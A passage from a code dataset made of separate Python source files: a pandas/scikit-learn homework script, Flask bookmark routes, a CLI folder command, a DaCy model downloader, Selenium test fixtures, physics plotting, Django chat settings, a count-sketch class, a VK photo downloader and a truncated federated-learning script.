description:\n#http://faculty.tarleton.edu/crawford/documents/Math5364/Hw1.pdf\n\nimport pandas as pd\nfrom IPython.display import display\nimport matplotlib.pyplot as plt\nimport sklearn.linear_model as lm\nimport numpy as np\n\n\n\n#Problem 1 & 2 (Importing the data set and looking at it)\nftic=pd.read_csv(\"./FTIC.csv\")\nftic.head\nftic.columns\n\n#Problem 3 & 4 (Make arrays for retention, sat, and rank)\nretention=pd.Series(ftic.ix[:,'2nd_Fall'])\nretention=pd.Series([int(x == 'Y') for x in retention])\nnumeric_retention[x]=0\nrank=pd.Series(ftic['PERCENTILE'])\nsat=pd.Series(ftic['SAT'])\n\n#Problem 5 (Find Retention rate)\nretention_rate=len([x for x in retention if x=='Y'])/len(retention)\n\n#Problem 6 (Plot some stuff and Fit a linear regresson line for predicting sat based on rank)\nplt.scatter(rank, sat)\nplt.show()\nlin_regr=lm.LinearRegression()\nlin_regr.fit(rank.values.reshape(len(rank), 1), sat)\nlin_regr.score(rank.values.reshape(len(rank), 1), sat)\nplt.scatter(retention, rank)\nplt.show()\n\n#Problem 7\nrank_logistic=lm.LogisticRegression()\nrank_logistic.fit(rank.values.reshape(len(rank), 1), retention)\nrank_logistic.score(rank.values.reshape(len(rank), 1), retention)\n","sub_path":"Assignment_1/assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594691066","text":"import flask; from flask import request\n\nimport etiquette\n\nfrom .. import decorators\nfrom .. import jsonify\nfrom .. import common\n\nsite = common.site\nsession_manager = common.session_manager\n\n\n# Individual bookmarks #############################################################################\n\n@site.route('/bookmark/.json')\n@session_manager.give_token\ndef get_bookmark_json(bookmarkid):\n bookmark = common.P_bookmark(bookmarkid)\n response = etiquette.jsonify.bookmark(bookmark)\n return jsonify.make_json_response(response)\n\n# Bookmark metadata operations #####################################################################\n\n@site.route('/bookmark//edit', methods=['POST'])\n@session_manager.give_token\n@decorators.catch_etiquette_exception\ndef post_bookmark_edit(bookmarkid):\n bookmark = common.P_bookmark(bookmarkid)\n # Emptystring is okay for titles, but not for URL.\n title = request.form.get('title', None)\n url = request.form.get('url', None) or None\n bookmark.edit(title=title, url=url)\n\n response = etiquette.jsonify.bookmark(bookmark)\n response = jsonify.make_json_response(response)\n return response\n\n# Bookmark listings ################################################################################\n\n@site.route('/bookmarks')\n@session_manager.give_token\ndef get_bookmarks_html():\n session = session_manager.get(request)\n bookmarks = list(common.P.get_bookmarks())\n return flask.render_template('bookmarks.html', bookmarks=bookmarks, session=session)\n\n@site.route('/bookmarks.json')\n@session_manager.give_token\ndef get_bookmarks_json():\n bookmarks = [etiquette.jsonify.bookmark(b) for b in common.P.get_bookmarks()]\n return jsonify.make_json_response(bookmarks)\n\n# Bookmark create and delete #######################################################################\n\n@site.route('/bookmarks/create_bookmark', methods=['POST'])\n@decorators.catch_etiquette_exception\n@decorators.required_fields(['url'], forbid_whitespace=True)\ndef post_bookmarks_create():\n url = request.form['url']\n title = request.form.get('title', None)\n user = session_manager.get(request).user\n bookmark = common.P.new_bookmark(url=url, title=title, author=user)\n response = etiquette.jsonify.bookmark(bookmark)\n response = jsonify.make_json_response(response)\n return response\n","sub_path":"frontends/etiquette_flask/etiquette_flask/endpoints/bookmark_endpoints.py","file_name":"bookmark_endpoints.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208468081","text":"\"\"\"\nCopyright 2018 SPARKL Limited\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nMake directory command implementation.\n\nThis works by creating a change file that creates the\nspecified folder.\n\"\"\"\nimport posixpath\n\nfrom sparkl_cli.common import (\n get_current_folder,\n resolve,\n sync_request)\n\n\ndef parse_args(subparser):\n \"\"\"\n Adds module-specific subcommand arguments.\n \"\"\"\n subparser.add_argument(\n \"path\",\n type=str,\n help=\"path name of new folder\")\n\n\ndef command(args):\n \"\"\"\n Creates a new subfolder with the given path name. The\n parent folder must already exist.\n \"\"\"\n path = resolve(\n get_current_folder(args), args.path)\n\n parent = posixpath.dirname(path)\n name = posixpath.basename(path)\n\n change = \"\"\"\n \n \n \n \"\"\".format(\n Name=name)\n\n response = sync_request(\n args, \"POST\", \"sse_cfg/change/\" + parent,\n headers={\n \"x-sparkl-transform\": \"gen_change\",\n \"Content-Type\": \"application/xml\"},\n data=change)\n\n return response.json()\n","sub_path":"sparkl_cli/cmd_mkdir.py","file_name":"cmd_mkdir.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"229240456","text":"import os\nimport shutil\nfrom pathlib import Path\nimport urllib.request\n\nfrom tqdm import tqdm\n\n\nDEFAULT_CACHE_DIR = os.path.join(str(Path.home()), \".dacy\")\n\n\ndacy_small_000 = \"https://sciencedata.dk//shared/d845d4fef9ea165ee7bd6dd954b95de2?download\"\ndacy_medium_000 = \"https://sciencedata.dk//shared/c205edf59195583122d7213a3c26c077?download\"\ndacy_large_000 = \"https://sciencedata.dk//shared/0da7cb975b245d9e6574458c7c89dfd9?download\"\n\n\nmodels_url = {\n \"da_dacy_small_tft-0.0.0\": dacy_small_000,\n \"da_dacy_medium_tft-0.0.0\": dacy_medium_000,\n \"da_dacy_large_tft-0.0.0\": dacy_large_000,\n}\n\n\ndef models():\n return list(models_url.keys())\n\n\ndef where_is_my_dacy():\n return DEFAULT_CACHE_DIR\n\n\ndef extract_all(archives, extract_path):\n for filename in archives:\n shutil.unpack_archive(filename, extract_path)\n\n\ndef download_model(model: str, save_path: str = DEFAULT_CACHE_DIR):\n \"\"\"\n model (str): use models() to see all available models\n\n Examples:\n download_model(model=\"da_dacy_medium_tft-0.0.0\")\n \"\"\"\n if model not in models_url:\n raise ValueError(\n \"The model is not available in DaCy. Please use dacy_models() to see a list of all models\"\n )\n url = models_url[model]\n path = os.path.join(save_path, model)\n dl_path = os.path.join(save_path, \"tmp.zip\")\n if os.path.exists(path):\n return True\n\n Path(save_path).mkdir(parents=True, exist_ok=True)\n download_url(url, dl_path)\n shutil.unpack_archive(dl_path, save_path)\n os.remove(dl_path)\n\n\nclass DownloadProgressBar(tqdm):\n def update_to(self, b=1, bsize=1, tsize=None):\n if tsize is not None:\n self.total = tsize\n self.update(b * bsize - self.n)\n\n\ndef download_url(url, output_path):\n with DownloadProgressBar(\n unit=\"B\", unit_scale=True, miniters=1, desc=url.split(\"/\")[-1]\n ) as t:\n urllib.request.urlretrieve(url, filename=output_path, reporthook=t.update_to)\n\n","sub_path":"dacy/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"140118229","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nimport settings\n\n\ndef pytest_addoption(parser):\n # pytest内置夹具\n # pytestconfig\n # pytestconfig.getoption('-xx')\n # addoption('xx') 内置函数\n # 钩子函数\n parser.addoption('--browser') # 参数只能是--小写\n\n\n@pytest.fixture(scope='class')\ndef driver(pytestconfig):\n browser = pytestconfig.getoption('--browser')\n if browser == 'edge':\n s = Service(executable_path=settings.BROWSER_DRIVERS['edge'])\n with webdriver.Edge(service=s) as wd: # 最大化浏览器\n # wd.maximize_window()\n yield wd\n if browser == 'chrome':\n s = Service(executable_path=settings.BROWSER_DRIVERS['chrome'])\n with webdriver.Chrome(service=s) as wd: # 最大化浏览器\n # wd.maximize_window()\n yield wd\n if browser == 'firefox':\n s = Service(executable_path=settings.BROWSER_DRIVERS['firefox'])\n with webdriver.Firefox(service=s) as wd: # 最大化浏览器\n # wd.maximize_window()\n yield wd\n\n\n\"block\"\n","sub_path":"ui/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"285478128","text":"#! /anaconda3/envs/Flasher/bin/python\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom scipy import interpolate\n\npath_spe = '/Volumes/GreyWind/CTA/Data/LST/LST_small_pixels/SPE_distribution'\npath_template = '/Volumes/GreyWind/CTA/Data/LST/LST_small_pixels/template'\n\nspe = ['SPE_12ns.dat', 'SPE_12ns.dat', 'SPE_20ns.dat', 'SPE_Gentile_oxt0d08_spe0d05_d2018-10-04.txt']\ntemplate = ['Template07ns_original.txt', 'Template12ns_original.txt', 'Template20ns_original.txt', 'pulse_CTA-Fx3.dat']\n\nlabel_spe = ['SPE 12 ns', 'SPE 12 ns', 'SPE 20 ns', 'SPE Gentile']\nlabel_template = ['FWHM : 07 ns', 'FWHM : 12 ns', 'FWHM : 20 ns', 'Fx3']\n\nfor i in range(len(template)):\n template[i] = os.path.join(path_template, template[i])\n spe[i] = os.path.join(path_spe, spe[i])\n\npdf = PdfPages(\"/Volumes/GreyWind/CTA/Data/LST/LST_small_pixels/spe_dist_and_templates.pdf\")\n\npe_vec = []\nprob_vec = []\n\ntime_vec = []\namp_vec = []\n\ntime_inter_vec = []\namp_inter_vec = []\n\nfor i in range(len(template)):\n\n with open(spe[i], 'r') as f:\n pe, prob = np.loadtxt(spe[i], delimiter=None, usecols=(0, 1), unpack=True)\n\n with open(template[i], 'r') as f:\n time, amp = np.loadtxt(template[i], delimiter=None, usecols=(0, 1), unpack=True)\n\n pe_vec.append(pe)\n prob_vec.append(prob)\n time_vec.append(time)\n amp_vec.append(amp)\n\nfor i in range(len(template)):\n\n fig, (ax1, ax2) = plt.subplots(2, 1)\n\n ax1.plot(time_vec[i], amp_vec[i], label=label_template[i])\n ax1.legend()\n ax1.set_ylabel('Normalized Amplitude')\n ax1.set_xlabel('Time [ns]')\n\n ax2.semilogy(pe_vec[i], prob_vec[i], label=label_spe[i])\n ax2.legend()\n ax2.set_ylim(1e-8, 10)\n ax2.set_xlabel('Number of p.e')\n ax2.set_ylabel('SPE distribution')\n\n plt.tight_layout()\n pdf.savefig(fig)\n\nfor i in range(len(template)-1):\n\n f = interpolate.interp1d(time_vec[i], amp_vec[i])\n time_temp = np.arange(0.0, 100., 0.2)\n amp_temp = f(time_temp)\n time_inter_vec.append(time_temp)\n amp_inter_vec.append(amp_temp)\n\nfor i in range(len(template)-1):\n\n fig, (ax1, ax2) = plt.subplots(2, 1)\n\n ax1.plot(time_inter_vec[i], amp_inter_vec[i], label=label_template[i])\n ax1.legend()\n ax1.set_ylabel('Normalized Amplitude')\n ax1.set_xlabel('Time [ns]')\n\n ax2.semilogy(pe_vec[i], prob_vec[i], label=label_spe[i])\n ax2.legend()\n ax2.set_ylim(1e-8, 10)\n ax2.set_xlabel('Number of p.e')\n ax2.set_ylabel('SPE distribution')\n\n plt.tight_layout()\n pdf.savefig(fig)\n\n\nfor i in range(len(template)-1):\n\n fig, (ax1, ax2) = plt.subplots(2, 1)\n\n ax1.plot(time_inter_vec[i], amp_inter_vec[i], label=label_template[i])\n ax1.legend()\n ax1.set_ylabel('Normalized Amplitude')\n ax1.set_xlabel('Time [ns]')\n\n ax2.semilogy(pe_vec[i], prob_vec[i], label=label_spe[i])\n ax2.legend()\n ax2.set_ylim(1e-8, 10)\n ax2.set_xlabel('Number of p.e')\n ax2.set_ylabel('SPE distribution')\n\n plt.tight_layout()\n pdf.savefig(fig)\n\n\nfig, (ax1, ax2) = plt.subplots(2, 1)\nline_style = ['solid', 'dashed', 'solid']\nfor i in range(len(time_inter_vec)):\n\n ax1.plot(time_inter_vec[i], amp_inter_vec[i], label=label_template[i], linestyle=line_style[i])\n ax2.semilogy(pe_vec[i], prob_vec[i], label=label_spe[i], linestyle=line_style[i])\n\nax1.legend()\nax2.legend()\nax2.set_ylim(1e-8, 10)\n\nax1.set_ylabel('Normalized Amplitude')\nax1.set_xlabel('Time [ns]')\nax2.set_xlabel('Number of p.e')\nax2.set_ylabel('SPE distribution')\n\nplt.tight_layout()\npdf.savefig(fig)\npdf.close()\n\n\nfor i in range(len(template)-1):\n file_name = template[i].split('_original')[0] + template[i].split('_original')[1]\n np.savetxt(file_name, np.c_[time_inter_vec[i], amp_inter_vec[i]], fmt=['%.2f', '%10.10f'], header='Waveform with ' + label_template[i])\n\n","sub_path":"templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77056387","text":"import os\nimport random, string\nimport datetime\nimport dj_database_url\nimport asgi_redis\nimport mymiddleware\nimport whitenoise\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nPROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))\n\nSECRET_KEY = os.environ.get(\"SECRET_KEY\")\n\nDEBUG = False\n\n# Application definition\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'channels',\n 'corsheaders',\n 'authentication',\n 'chat',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'mymiddleware.activeuser_middleware.ActiveUserMiddleware',\n)\n\nROOT_URLCONF = 'chat.urls'\n\nTEMPLATES = (\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n 'debug': DEBUG,\n },\n },\n)\n\n# Database\n# https://docs.djangoproject.com/en/1.9/ref/settings/#databases\n\nDATABASES = { # for heroku\n 'default': dj_database_url.config(default=\"postgres:///postgresql-rigid-58677\", conn_max_age=500)\n}\n\n#DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.sqlite3',\n# 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n# }\n#}\n\nAUTH_USER_MODEL = 'authentication.Account'\n\nAUTH_PASSWORD_VALIDATORS = (\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n)\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.9/topics/i18n/\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.9/howto/static-files/\n\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\nSTATIC_URL = '/static/'\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\nMEDIA_URL = '/media/'\n\n# Extra places for collectstatic to find static files.\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, 'static'),\n]\nSTATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'\n\n# Channel settings\nCHANNEL_LAYERS = {\n \"default\": {\n \"BACKEND\": \"asgi_redis.RedisChannelLayer\",\n \"CONFIG\": {\n \"hosts\": [os.environ.get('REDIS_URL', 'redis://localhost:6379')],\n },\n \"ROUTING\": \"chat.routing.channel_routing\",\n },\n}\n\n\n# Logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'propagate': True,\n 'level': 'INFO'\n },\n 'chat': {\n 'handlers': ['console'],\n 'propagate': False,\n 'level': 'DEBUG',\n },\n },\n}\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n #'rest_framework.permissions.IsAuthenticated',\n ),\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n #'rest_framework.authentication.SessionAuthentication',\n #'rest_framework.authentication.BasicAuthentication',\n ),\n 'DEFAULT_PARSER_CLASSES': (\n 'rest_framework.parsers.JSONParser',\n 'rest_framework.parsers.FormParser',\n 'rest_framework.parsers.MultiPartParser',\n ),\n 'PAGE_SIZE': 30\n}\n\nJWT_AUTH = {\n 'JWT_EXPIRATION_DELTA': datetime.timedelta(days=30),\n 'JWT_AUTH_HEADER_PREFIX': 'Bearer',\n}\n\nYOUR_CLOUDINARY_NAME = os.environ.get(\"YOUR_CLOUDINARY_NAME\") # you don't need it if you enter name in Angular frontend part\n\nDEFAULT_FILE_STORAGE = 'chat.imagestorage.MyMediaCloudinaryStorage'\n\nUSER_ONLINE_TIMEOUT = 300\nUSER_LASTSEEN_TIMEOUT = 60 * 60 * 24 * 7\n\nCACHES = {\n 'default': {\n 'BACKEND': 'redis_cache.RedisCache',\n 'LOCATION': os.environ.get('REDIS_URL', 'redis://localhost:6379')\n }\n}","sub_path":"chat/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497909649","text":"number=int(input(\"Enter a number:\"))\r\nflag=0\r\nfor i in range(2,number):\r\n if(number%i==0):\r\n print(\"not a prime number\")\r\n flag+=1\r\n break\r\n\r\nif(flag==0):\r\n print(\"prime number\")\r\n","sub_path":"Python/Check if num is prime.py","file_name":"Check if num is prime.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423841882","text":"from flask import Flask, g\nfrom flask_admin import Admin\n\nfrom .blueprints import views_bp, unauth_views_bp\nfrom .database import init_app_db\nfrom .admin import configure_admin\n\ndef create_app(config=None, environment=None):\n app = Flask(__name__, static_folder='static')\n app.config.from_object('instance.base.Config')\n app.config.from_pyfile('settings.py', silent=True)\n\n init_app_db(app)\n configure_hook(app)\n configure_admin(app, app.config['SESSION'])\n\n for blueprint in [unauth_views_bp, views_bp]:\n app.register_blueprint(blueprint)\n\n return app\n\ndef configure_hook(app):\n @app.before_request\n def create_session():\n g.db = app.config['SESSION']()\n\n @app.teardown_request\n def teardown_request(exception):\n app.config['SESSION'].remove()\n","sub_path":"career_connections/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"21655446","text":"import numpy as np\nLARGEPRIME = 2**61-1 \nHIERARCHYBASE = 10\n\nclass CSH(object):\n \"\"\" Simple Hieratchical Count Sketch \"\"\"\n def __init__(self, c, r, d, n):\n np.random.seed(42) \n self.r = r # num of rows \n self.c = c # num of columns\n self.d = d # depth of the sketch (hierarchy)\n self.n = n # dictionary size \n # initialize sketches for all d levels of hierarchy \n self.tables = [np.zeros((r, c)) for _ in range(d)]\n # initialize hashing functions for each row for all d levels of hierarchy\n # 2 random numbers for bucket hashes + 4 random numbers for sign hashes\n self.hashes = [np.random.randint(0, LARGEPRIME, (r, 6)).astype(int)\n for _ in range(d)]\n\n def item2bs(self, item, H): \n # computing bucket hashes (2 wise independence)\n buckets = (H[:,0]*item + H[:,1])%LARGEPRIME%self.c\n # computing sign hashes (4 wise independence) \n signs = (((H[:,2]*item + H[:,3])*item + H[:,4])*item + H[:,5])%LARGEPRIME%2 * 2 - 1 \n return (list(range(self.r)), tuple(buckets)), signs\n\n def update(self, item, value):\n # updating all levels of hierarchy \n for h in range(self.d):\n itemH = item // (HIERARCHYBASE**h)\n # computing all hashes \n buckets, signs = self.item2bs(itemH, self.hashes[h]) \n # updating sketch \n self.tables[h][buckets] += signs * value \n \n def evalFreq(self, item, h):\n # computing hashes \n buckets, signs = self.item2bs(item, self.hashes[h]) \n # returning estimation of frequency for item \n return np.median(self.tables[h][buckets] *signs) \n \n def merge(self, csh):\n # merges csh sketch into self\n for h in range(self.d):\n self.tables[h] += csh.tables[h]\n\n def findHH(self, thr, prefix, h):\n # recursive search of items with frequency large than thr\n # s.t. item/(HIERARCHYBASE^h) = prefix \n allHH = []\n for item in prefix*HIERARCHYBASE + np.arange(HIERARCHYBASE): \n freq = self.evalFreq(item, h)\n if freq > thr: \n allHH += self.findHH(thr, item, h - 1) if h > 0 else [(item,freq)]\n return allHH \n\n def l2estimate(self):\n # l2 norm esimation from the sketch\n return np.sqrt(np.median(np.sum(self.tables[0]**2, 1)))\n","sub_path":"csh.py","file_name":"csh.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"320037120","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport getpass\nimport json\nimport os\nimport sys\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode\n\nimport vk_auth\n\nAPI_VERSION = '5.44'\n\ndef call_api(method, params, token):\n params['v'] = API_VERSION\n params['access_token'] = token\n encoded_params = urlencode(list(params.items()))\n api_url = 'https://api.vk.com/method/{method}?{params}'\n url = api_url.format(method=method, params=encoded_params)\n response = urlopen(url).read()\n response = response.decode('utf-8', 'replace')\n json_response = json.loads(response)\n if 'response' not in json_response:\n pretty_json = json.dumps(json_response['error'], indent=2)\n raise RuntimeError('query failed: {0}'.format(pretty_json))\n return json_response[\"response\"]\n\n\ndef get_albums(user_id, token):\n return call_api('photos.getAlbums', {'owner_id': user_id, 'need_system': 1}, token)['items']\n\n\nphoto_sizes = [\n 'photo_2560',\n 'photo_1280',\n 'photo_807',\n 'photo_604',\n 'photo_130',\n 'photo_75'\n]\n\n\ndef get_largest_photo_url(photo):\n for size_key in photo_sizes:\n if size_key in photo:\n return photo[size_key]\n pretty_json = json.dumps(photo, indent=2)\n raise RuntimeError('No photo url found in {0}'.format(pretty_json))\n\n\ndef get_photos_urls(user_id, album_id, token):\n photos_list = call_api('photos.get', {'owner_id': user_id, 'album_id': album_id}, token)\n return [get_largest_photo_url(photo) for photo in photos_list['items']]\n\n\ndef save_photos(urls, directory):\n if not os.path.exists(directory):\n os.mkdir(directory)\n pad_length = len(str(len(urls)))\n names_pattern = '{0:0>{width}}.jpg'\n for num, url in enumerate(urls):\n filename = names_pattern.format(num + 1, width=pad_length)\n filepath = os.path.join(directory, filename)\n print('Downloading ', filepath)\n open(filepath, 'wb').write(urlopen(url).read())\n\n\ndirectory = None\nif len(sys.argv) == 2:\n directory = sys.argv[1]\nemail = input('Email: ')\npassword = getpass.getpass()\nclient_id = '2951857' # Vk application ID\ntoken, user_id = vk_auth.auth(email, password, client_id, 'photos')\nalbums = get_albums(user_id, token)\nprint('\\n'.join('{0}. {1}'.format(str(num + 1), album['title']) for num, album in enumerate(albums)))\nchoice = None\nwhile choice not in range(len(albums)):\n choice = int(input('Choose album number: ')) - 1\nif not directory:\n directory = albums[choice]['title']\nphotos_urls = get_photos_urls(user_id, albums[choice]['id'], token)\nsave_photos(photos_urls, directory)\n","sub_path":"fetch_photos.py","file_name":"fetch_photos.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11411676","text":"# Copyright 2020, The TensorFlow Federated Authors.\n# Copyright 2020, Ronald Seoh.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Simple FedAvg to train EMNIST.\n\nThis is the modified version of the script included\nin the original simple_fedavg implementation from TFF.\nA much smaller CNN model than BERT is used. We use this\nto test out the changes in our version of FedAvg.\n\"\"\"\n\nimport collections\nimport functools\nimport math\n\nfrom absl import app\nfrom absl import flags\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_federated as tff\nimport transformers\n\nimport fedavg\nimport fedavg_client\nimport utils\n\n# Training hyperparameters\nflags.DEFINE_integer('total_rounds', 256, 'Number of total training rounds.')\nflags.DEFINE_integer('rounds_per_eval', 1, 'How often to evaluate')\nflags.DEFINE_integer('train_clients_per_round', 2,\n 'How many clients to sample per round.')\nflags.DEFINE_integer('client_epochs_per_round', 1,\n 'Number of epochs in the client to take per round.')\nflags.DEFINE_integer('batch_size', 20, 'Batch size used on the client.')\nflags.DEFINE_integer('test_batch_size', 100, 'Minibatch size of test data.')\n\n# Optimizer configuration (this defines one or more flags per optimizer).\nflags.DEFINE_float('server_learning_rate', 1.0, 'Server learning rate.')\nflags.DEFINE_float('client_learning_rate', 0.1, 'Client learning rate.')\n\nFLAGS = flags.FLAGS\n\n\ndef get_emnist_dataset():\n \"\"\"Loads and preprocesses the EMNIST dataset.\n\n Returns:\n A `(emnist_train, emnist_test)` tuple where `emnist_train` is a\n `tff.simulation.ClientData` object representing the training data and\n `emnist_test` is a single `tf.data.Dataset` representing the test data of\n all clients.\n \"\"\"\n emnist_train, emnist_test = tff.simulation.datasets.emnist.load_data(\n only_digits=True)\n\n def element_fn(element):\n return (tf.expand_dims(element['pixels'], -1), element['label'])\n\n def preprocess_train_dataset(dataset):\n # Use buffer_size same as the maximum client dataset size,\n # 418 for Federated EMNIST\n return dataset.map(element_fn).shuffle(buffer_size=418).repeat(\n count=FLAGS.client_epochs_per_round).batch(\n FLAGS.batch_size, drop_remainder=False)\n\n def preprocess_test_dataset(dataset):\n return dataset.map(element_fn).batch(\n FLAGS.test_batch_size, drop_remainder=False)\n\n emnist_train = emnist_train.preprocess(preprocess_train_dataset)\n emnist_test = preprocess_test_dataset(\n emnist_test.create_tf_dataset_from_all_clients())\n\n return emnist_train, emnist_test\n\n\ndef create_original_fedavg_cnn_model(only_digits=True):\n \"\"\"The CNN model used in https://arxiv.org/abs/1602.05629.\n\n This function is duplicated from research/optimization/emnist/models.py to\n make this example completely stand-alone.\n\n Args:\n only_digits: If True, uses a final layer with 10 outputs, for use with the\n digits only EMNIST dataset. If False, uses 62 outputs for the larger\n dataset.\n\n Returns:\n An uncompiled `tf.keras.Model`.\n \"\"\"\n data_format = 'channels_last'\n input_shape = [28, 28, 1]\n\n max_pool = functools.partial(\n tf.keras.layers.MaxPooling2D,\n pool_size=(2, 2),\n padding='same',\n data_format=data_format)\n\n conv2d = functools.partial(\n tf.keras.layers.Conv2D,\n kernel_size=5,\n padding='same',\n data_format=data_format,\n activation=tf.nn.relu)\n\n model = tf.keras.models.Sequential([\n conv2d(filters=32, input_shape=input_shape),\n max_pool(),\n conv2d(filters=64),\n max_pool(),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(512, activation=tf.nn.relu),\n tf.keras.layers.Dense(10 if only_digits else 62),\n tf.keras.layers.Activation(tf.nn.softmax),\n ])\n\n return model\n\n\ndef server_optimizer_fn():\n return tf.keras.optimizers.SGD(learning_rate=FLAGS.server_learning_rate)\n\ndef client_optimizer_fn(optimizer_options=None):\n \n # Declare the optimizer object first\n optimizer = utils.AdamWeightDecay(\n learning_rate=FLAGS.client_learning_rate,\n exclude_from_weight_decay=[\"LayerNorm\", \"layer_norm\", \"bias\"],\n weight_decay_rate=optimizer_options.weight_decay_rate\n )\n \n # Then start changing its parameters\n \n # Learning rate schedule\n # Linear Decay\n lr_schedule = tf.keras.optimizers.schedules.PolynomialDecay(\n initial_learning_rate=optimizer_options.init_lr,\n decay_steps=optimizer_options.num_train_steps - optimizer_options.num_warmup_steps,\n end_learning_rate=optimizer_options.init_lr * optimizer_options.min_lr_ratio,\n power=1\n )\n \n # Add warmup steps to the start of lr_schedule\n lr_schedule = transformers.WarmUp(\n initial_learning_rate=optimizer_options.init_lr,\n decay_schedule_fn=lr_schedule,\n warmup_steps=tf.cast(optimizer_options.num_warmup_steps, dtype=tf.float32),\n )\n\n # Apply the parameters to optimizer\n optimizer.learning_rate = lr_schedule\n optimizer.beta_1 = optimizer_options.adam_beta1\n optimizer.beta_2 = optimizer_options.adam_beta2\n optimizer.epsilon = optimizer_options.adam_epsilon\n\n return optimizer\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError('Too many command-line arguments.')\n\n # Train/test dataset\n train_data, test_data = get_emnist_dataset()\n \n\n def 